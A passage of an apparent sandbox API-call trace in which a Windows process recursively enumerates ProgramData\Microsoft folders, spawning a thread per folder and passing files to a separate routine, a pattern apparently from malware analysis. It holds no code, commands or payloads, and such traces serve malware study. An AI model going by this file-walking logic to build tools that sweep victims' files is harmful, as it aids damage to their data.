(HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x34277b8 [0070.547] wcscpy (in: _Dest=0x34277b8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0070.547] wcscat (in: _Dest=0x34277b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0070.547] wcscat (in: _Dest=0x34277b8, _Source="SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0070.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34277b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0070.548] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0070.548] FindClose (in: hFindFile=0x3433968 | out: hFindFile=0x3433968) returned 1 [0070.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b6e0) returned 1 [0070.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431620) returned 1 [0070.548] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480df8) returned 1 [0070.548] RtlExitUserThread (Status=0x0) Thread: id = 378 os_tid = 0xe64 [0068.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x34316d0 [0068.962] wcscpy (in: _Dest=0x34316d0, _Source="C:\\Users\\All Users\\Microsoft\\DataMart" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart") returned="C:\\Users\\All Users\\Microsoft\\DataMart" [0068.962] wcscat (in: _Dest=0x34316d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\" [0068.962] wcscat (in: _Dest=0x34316d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\*") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\*" [0068.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427ab8 [0068.962] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DataMart\\*", lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34339e8 [0068.963] wcscmp (_String1=".", _String2=".") returned 0 [0068.963] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.963] wcscmp (_String1="..", _String2=".") returned 1 [0068.963] wcscmp (_String1="..", _String2="..") returned 0 [0068.963] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0068.963] wcscmp (_String1="PaidWiFi", _String2=".") returned 1 [0068.963] wcscmp (_String1="PaidWiFi", _String2="..") returned 1 [0068.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426f98 [0068.963] wcscpy (in: _Dest=0x3426f98, _Source="C:\\Users\\All Users\\Microsoft\\DataMart" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart") returned="C:\\Users\\All Users\\Microsoft\\DataMart" [0068.963] wcscat (in: _Dest=0x3426f98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\" [0068.963] wcscat (in: _Dest=0x3426f98, _Source="PaidWiFi" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi") returned="C:\\Users\\All Users\\Microsoft\\DataMart\\PaidWiFi" [0070.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0070.542] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0070.542] FindClose (in: hFindFile=0x34339e8 | out: hFindFile=0x34339e8) returned 1 [0070.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ab8) returned 1 [0070.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34316d0) returned 1 [0070.542] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e38) returned 1 [0070.542] RtlExitUserThread (Status=0x0) Thread: id = 379 os_tid = 0xa98 [0068.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481b58 [0068.964] wcscpy (in: _Dest=0x3481b58, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0068.964] wcscat (in: _Dest=0x3481b58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0068.964] wcscat (in: _Dest=0x3481b58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\*") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" [0068.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427d20 [0068.964] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a28 [0068.964] wcscmp (_String1=".", _String2=".") returned 0 [0068.964] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.964] wcscmp (_String1="..", _String2=".") returned 1 [0068.965] wcscmp (_String1="..", _String2="..") returned 0 [0068.965] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0068.965] wcscmp (_String1="Device", _String2=".") returned 1 [0068.965] wcscmp (_String1="Device", _String2="..") returned 1 [0068.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347de70 [0068.965] wcscpy (in: _Dest=0x347de70, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0068.965] wcscat (in: _Dest=0x347de70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0068.965] wcscat (in: _Dest=0x347de70, _Source="Device" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" [0070.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0070.539] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0070.539] wcscmp (_String1="Task", _String2=".") returned 1 [0070.539] wcscmp (_String1="Task", _String2="..") returned 1 [0070.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x34278f0 [0070.539] wcscpy (in: _Dest=0x34278f0, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage" [0070.539] wcscat (in: _Dest=0x34278f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\" [0070.539] wcscat (in: _Dest=0x34278f0, _Source="Task" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" [0070.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34278f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0070.540] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0070.540] FindClose (in: hFindFile=0x3433a28 | out: hFindFile=0x3433a28) returned 1 [0070.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427d20) returned 1 [0070.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481b58) returned 1 [0070.540] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481d98) returned 1 [0070.540] RtlExitUserThread (Status=0x0) Thread: id = 380 os_tid = 0x2e8 [0068.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481cd8 [0068.966] wcscpy (in: _Dest=0x3481cd8, _Source="C:\\Users\\All Users\\Microsoft\\DeviceSync" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0068.966] wcscat (in: _Dest=0x3481cd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\" [0068.966] wcscat (in: _Dest=0x3481cd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*" [0068.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0068.966] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a68 [0068.966] wcscmp (_String1=".", _String2=".") returned 0 [0068.966] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.967] wcscmp (_String1="..", _String2=".") returned 1 [0068.967] wcscmp (_String1="..", _String2="..") returned 0 [0068.967] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.967] FindClose (in: hFindFile=0x3433a68 | out: hFindFile=0x3433a68) returned 1 [0068.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0068.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481cd8) returned 1 [0068.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f40) returned 1 [0068.967] RtlExitUserThread (Status=0x0) Thread: id = 381 os_tid = 0x8f0 [0068.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481cd8 [0068.968] wcscpy (in: _Dest=0x3481cd8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0068.968] wcscat (in: _Dest=0x3481cd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0068.968] wcscat (in: _Dest=0x3481cd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*" [0068.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0068.969] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a68 [0068.970] wcscmp (_String1=".", _String2=".") returned 0 [0068.970] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.970] wcscmp (_String1="..", _String2=".") returned 1 [0068.970] wcscmp (_String1="..", _String2="..") returned 0 [0068.971] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1 [0068.971] wcscmp (_String1="AsimovUploader", _String2=".") returned 1 [0068.971] wcscmp (_String1="AsimovUploader", _String2="..") returned 1 [0068.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479bc8 [0068.971] wcscpy (in: _Dest=0x3479bc8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0068.971] wcscat (in: _Dest=0x3479bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0068.971] wcscat (in: _Dest=0x3479bc8, _Source="AsimovUploader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader" [0070.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0070.522] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1 [0070.522] wcscmp (_String1="DownloadedScenarios", _String2=".") returned 1 [0070.522] wcscmp (_String1="DownloadedScenarios", _String2="..") returned 1 [0070.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cd0f0 [0070.522] wcscpy (in: _Dest=0x33cd0f0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.522] wcscat (in: _Dest=0x33cd0f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.522] wcscat (in: _Dest=0x33cd0f0, _Source="DownloadedScenarios" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios" [0070.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0070.522] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1 [0070.523] wcscmp (_String1="DownloadedSettings", _String2=".") returned 1 [0070.523] wcscmp (_String1="DownloadedSettings", _String2="..") returned 1 [0070.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd170 [0070.523] wcscpy (in: _Dest=0x33cd170, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.523] wcscat (in: _Dest=0x33cd170, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.523] wcscat (in: _Dest=0x33cd170, _Source="DownloadedSettings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings" [0070.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0070.523] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1 [0070.523] wcscmp (_String1="ETLLogs", _String2=".") returned 1 [0070.523] wcscmp (_String1="ETLLogs", _String2="..") returned 1 [0070.523] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426ec8 [0070.523] wcscpy (in: _Dest=0x3426ec8, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.524] wcscat (in: _Dest=0x3426ec8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.524] wcscat (in: _Dest=0x3426ec8, _Source="ETLLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs" [0070.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0070.524] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1 [0070.524] wcscmp (_String1="Events_CostDeferred.rbs", _String2=".") returned 1 [0070.524] wcscmp (_String1="Events_CostDeferred.rbs", _String2="..") returned 1 [0070.524] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33cc760 [0070.524] wcscpy (in: _Dest=0x33cc760, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0070.524] wcscat (in: _Dest=0x33cc760, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0070.524] wcscat (in: _Dest=0x33cc760, _Source="Events_CostDeferred.rbs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" [0070.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cc760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0070.525] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1 [0070.525] wcscmp (_String1="Events_Normal.rbs", _String2=".") 